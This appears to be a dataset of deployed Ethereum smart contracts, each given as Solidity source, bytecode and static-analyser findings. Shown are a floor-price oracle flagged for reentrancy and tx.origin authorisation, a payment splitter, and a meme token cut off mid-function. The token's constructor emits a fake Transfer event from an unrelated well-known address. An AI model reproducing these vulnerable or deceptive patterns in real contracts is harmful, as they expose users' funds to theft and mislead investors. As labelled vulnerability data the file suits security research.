5056fea2646970667358221220f2d2c098c86234382124e4c1d0fd2f52427a6a5cf4c2f412f7b485b4584cb7ca64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,019
0xbd755263A3e31E6C1f83FD72DCc8Fe24b9158e79
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title PawnFloorOracle * @dev Stores and retrieves floor prices for a nft collection */ contract PawnFloorOracle { address public collection; address public underwriter; uint256 public lastUpdate; uint256 public floor; event FloorChange(uint256 price, address underwriter, bool sale); constructor(address collection_) payable { collection = collection_; } modifier lastTransferAtLeast69Minutes() { require(block.timestamp - timeSinceLastUpdate() > 69 minutes); _; } function timeSinceLastUpdate() public view returns (uint256) { return block.timestamp - lastUpdate; } function sellFloor(uint256 tokenId) public { IERC721 c = IERC721(collection); require(msg.sender == c.ownerOf(tokenId), "not the owner"); c.safeTransferFrom(msg.sender, underwriter, tokenId); payable(msg.sender).transfer(floor); underwriter = 0x0000000000000000000000000000000000000000; floor = 0; lastUpdate = block.timestamp; emit FloorChange(floor, underwriter, true); } /** * @dev withdraw money */ function withdraw() public lastTransferAtLeast69Minutes { require(msg.sender == underwriter, "only underwriter can withdraw their eth"); payable(msg.sender).transfer(floor); underwriter = 0x0000000000000000000000000000000000000000; floor = 0; lastUpdate = block.timestamp; emit FloorChange(floor, underwriter, false); } /** * @dev Change the current price of this oracle up or down */ function updateFloor() public payable { require(floor != msg.value && msg.value != 0, "invalid update"); if (floor == 0) { underwriter = tx.origin; floor = msg.value; lastUpdate = block.timestamp; emit FloorChange(floor, underwriter, false); } else { require(block.timestamp - timeSinceLastUpdate() > 69 seconds, "not enough time elapsed"); if (msg.value > floor) { require(payable(underwriter).send(address(this).balance), "old underwriter payout failed"); floor = msg.value; underwriter = tx.origin; lastUpdate = block.timestamp; emit FloorChange(floor, underwriter, false); } else if (msg.value < floor) { require(underwriter == tx.origin, "only underwriter can lower floor"); payable(tx.origin).transfer(floor); floor = msg.value; lastUpdate = block.timestamp; emit FloorChange(floor, underwriter, false); } } } fallback() external payable { } } contract PawnFloorOracleFactory { mapping(address=>address) public oracles; constructor() { } function addOracle(address collection) public payable { require(oracles[collection] == 0x0000000000000000000000000000000000000000, "already exists"); require(msg.value > 0, "non zero oracle"); PawnFloorOracle fo = new PawnFloorOracle(collection); fo.updateFloor{value: msg.value}(); oracles[collection] = address(fo); } }
0x6080604052600436106100295760003560e01c8063addd50991461002e578063df5dd1a514610080575b600080fd5b34801561003a57600080fd5b50610064610049366004610213565b6000602081905290815260409020546001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b61009361008e366004610213565b610095565b005b6001600160a01b0380821660009081526020819052604090205416156100f35760405162461bcd60e51b815260206004820152600e60248201526d616c72656164792065786973747360901b60448201526064015b60405180910390fd5b600034116101355760405162461bcd60e51b815260206004820152600f60248201526e6e6f6e207a65726f206f7261636c6560881b60448201526064016100ea565b60008160405161014490610206565b6001600160a01b039091168152602001604051809103906000f080158015610170573d6000803e3d6000fd5b509050806001600160a01b03166364c07cc3346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156101ae57600080fd5b505af11580156101c2573d6000803e3d6000fd5b505050506001600160a01b039283166000908152602081905260409020805473ffffffffffffffffffffffffffffffffffffffff1916929093169190911790915550565b6108608061024283390190565b600060208284031215610224578081fd5b81356001600160a01b038116811461023a578182fd5b939250505056fe608060405260405161086038038061086083398101604081905261002291610047565b600080546001600160a01b0319166001600160a01b0392909216919091179055610075565b600060208284031215610058578081fd5b81516001600160a01b038116811461006e578182fd5b9392505050565b6107dc806100846000396000f3fe6080604052600436106100785760003560e01c80637de1e5361161004b5780637de1e536146100e057806398d4102f14610118578063c04637111461012d578063f00db2601461014357005b80633ccfd60b1461007a578063406953631461008f578063438d08cd146100b857806364c07cc3146100d8575b005b34801561008657600080fd5b50610078610163565b34801561009b57600080fd5b506100a560035481565b6040519081526020015b60405180910390f35b3480156100c457600080fd5b506100786100d336600461076b565b610280565b61007861044a565b3480156100ec57600080fd5b50600054610100906001600160a01b031681565b6040516001600160a01b0390911681526020016100af565b34801561012457600080fd5b506100a5610728565b34801561013957600080fd5b506100a560025481565b34801561014f57600080fd5b50600154610100906001600160a01b031681565b61102c61016e610728565b6101789042610783565b1161018257600080fd5b6001546001600160a01b031633146101f15760405162461bcd60e51b815260206004820152602760248201527f6f6e6c7920756e6465727772697465722063616e2077697468647261772074686044820152660cad2e440cae8d60cb1b60648201526084015b60405180910390fd5b600354604051339180156108fc02916000818181858888f1935050505015801561021f573d6000803e3d6000fd5b50600180546001600160a01b031916905560006003819055426002556040805182815260208101839052908101919091527f71afdfec12215a32b3ced8173bba71ce5c9e3f5240f3c050f759b8229abbece6906060015b60405180910390a1565b6000546040516331a9108f60e11b8152600481018390526001600160a01b03909116908190636352211e9060240160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fe919061073d565b6001600160a01b0316336001600160a01b03161461034e5760405162461bcd60e51b815260206004820152600d60248201526c3737ba103a34329037bbb732b960991b60448201526064016101e8565b600154604051632142170760e11b81523360048201526001600160a01b03918216602482015260448101849052908216906342842e0e90606401600060405180830381600087803b1580156103a257600080fd5b505af11580156103b6573d6000803e3d6000fd5b505060035460405133935081156108fc0292506000818181858888f193505050501580156103e8573d6000803e3d6000fd5b50600180546001600160a01b031916815560006003819055426002556040805182815260208101929092528101919091527f71afdfec12215a32b3ced8173bba71ce5c9e3f5240f3c050f759b8229abbece69060600160405180910390a15050565b346003541415801561045b57503415155b6104985760405162461bcd60e51b815260206004820152600e60248201526d696e76616c69642075706461746560901b60448201526064016101e8565b6003546105025760018054326001600160a01b031990911681179091553460038190554260025560408051918252602082019290925260008183015290517f71afdfec12215a32b3ced8173bba71ce5c9e3f5240f3c050f759b8229abbece69181900360600190a1565b604561050c610728565b6105169042610783565b116105635760405162461bcd60e51b815260206004820152601760248201527f6e6f7420656e6f7567682074696d6520656c617073656400000000000000000060448201526064016101e8565b60035434111561063f576001546040516001600160a01b03909116904780156108fc02916000818181858888f193505050506105e15760405162461bcd60e51b815260206004820152601d60248201527f6f6c6420756e646572777269746572207061796f7574206661696c656400000060448201526064016101e8565b346003819055600180546001600160a01b03191632908117909155426002556040805192835260208301919091526000908201527f71afdfec12215a32b3ced8173bba71ce5c9e3f5240f3c050f759b8229abbece690606001610276565b600354341015610726576001546001600160a01b031632146106a35760405162461bcd60e51b815260206004820181905260248201527f6f6e6c7920756e6465727772697465722063616e206c6f77657220666c6f6f7260448201526064016101e8565b600354604051329180156108fc02916000818181858888f193505050501580156106d1573d6000803e3d6000fd5b5034600381905542600255600154604080519283526001600160a01b0390911660208301526000908201527f71afdfec12215a32b3ced8173bba71ce5c9e3f5240f3c050f759b8229abbece690606001610276565b565b6000600254426107389190610783565b905090565b60006020828403121561074e578081fd5b81516001600160a01b0381168114610764578182fd5b9392505050565b60006020828403121561077c578081fd5b5035919050565b6000828210156107a157634e487b7160e01b81526011600452602481fd5b50039056fea26469706673582212209311fa8a7d4d8876868039d1055d424cfeba6da9daa69c2d5d2f653d05b79c7c64736f6c63430008040033a2646970667358221220aa2ce36890c061f95c727e04b2e561c684a8040327fa399705d323531a46f9d064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}]}}
5,020
0xa7F842764460c17016e501Fc1C4aB649e9e2dEDf
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: PaymentSplitter.sol /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } }
0x6080604052600436106100595760003560e01c806319165587146100a55780633a98ef39146100c75780638b83209b146100f25780639852595c1461011f578063ce7c2ac21461013f578063e33b7de31461015f576100a0565b366100a0577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be770610087610174565b34604051610096929190610438565b60405180910390a1005b600080fd5b3480156100b157600080fd5b506100c56100c03660046103e6565b610178565b005b3480156100d357600080fd5b506100dc6102c5565b6040516100e99190610576565b60405180910390f35b3480156100fe57600080fd5b5061011261010d366004610409565b6102cb565b6040516100e99190610424565b34801561012b57600080fd5b506100dc61013a3660046103e6565b610309565b34801561014b57600080fd5b506100dc61015a3660046103e6565b610324565b34801561016b57600080fd5b506100dc61033f565b3390565b6001600160a01b0381166000908152600260205260409020546101b65760405162461bcd60e51b81526004016101ad90610451565b60405180910390fd5b6000600154476101c6919061057f565b6001600160a01b038316600090815260036020908152604080832054835460029093529083205493945091926101fc90856105b7565b6102069190610597565b61021091906105d6565b90508061022f5760405162461bcd60e51b81526004016101ad9061052b565b6001600160a01b03831660009081526003602052604090205461025390829061057f565b6001600160a01b03841660009081526003602052604090205560015461027a90829061057f565b6001556102878382610345565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b05683826040516102b8929190610438565b60405180910390a1505050565b60005490565b6000600482815481106102ee57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b031660009081526002602052604090205490565b60015490565b804710156103655760405162461bcd60e51b81526004016101ad906104f4565b6000826001600160a01b03168260405161037e90610421565b60006040518083038185875af1925050503d80600081146103bb576040519150601f19603f3d011682016040523d82523d6000602084013e6103c0565b606091505b50509050806103e15760405162461bcd60e51b81526004016101ad90610497565b505050565b6000602082840312156103f7578081fd5b813561040281610603565b9392505050565b60006020828403121561041a578081fd5b5035919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b6020808252603a908201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260408201527f6563697069656e74206d61792068617665207265766572746564000000000000606082015260800190565b6020808252601d908201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604082015260600190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b90815260200190565b60008219821115610592576105926105ed565b500190565b6000826105b257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156105d1576105d16105ed565b500290565b6000828210156105e8576105e86105ed565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461061857600080fd5b5056fea26469706673582212202892f27db658409024733451869ddf6ad4848d77cec25588823081bf387ecd4e64736f6c63430008000033
{"success": true, "error": null, "results": {}}
5,021
0xcfc80311c212827f1ffd627894c56a9903b2d218
//SPDX-License-Identifier: Unlicense /** *Submitted for verification at Etherscan.io on 2021-06-08 */ /** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* Telegram: https://t.me/shibkebab Marketing paid Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAKEBAB is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba kebab"; string private constant _symbol = unicode'SHIBKEBAB🥓'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), 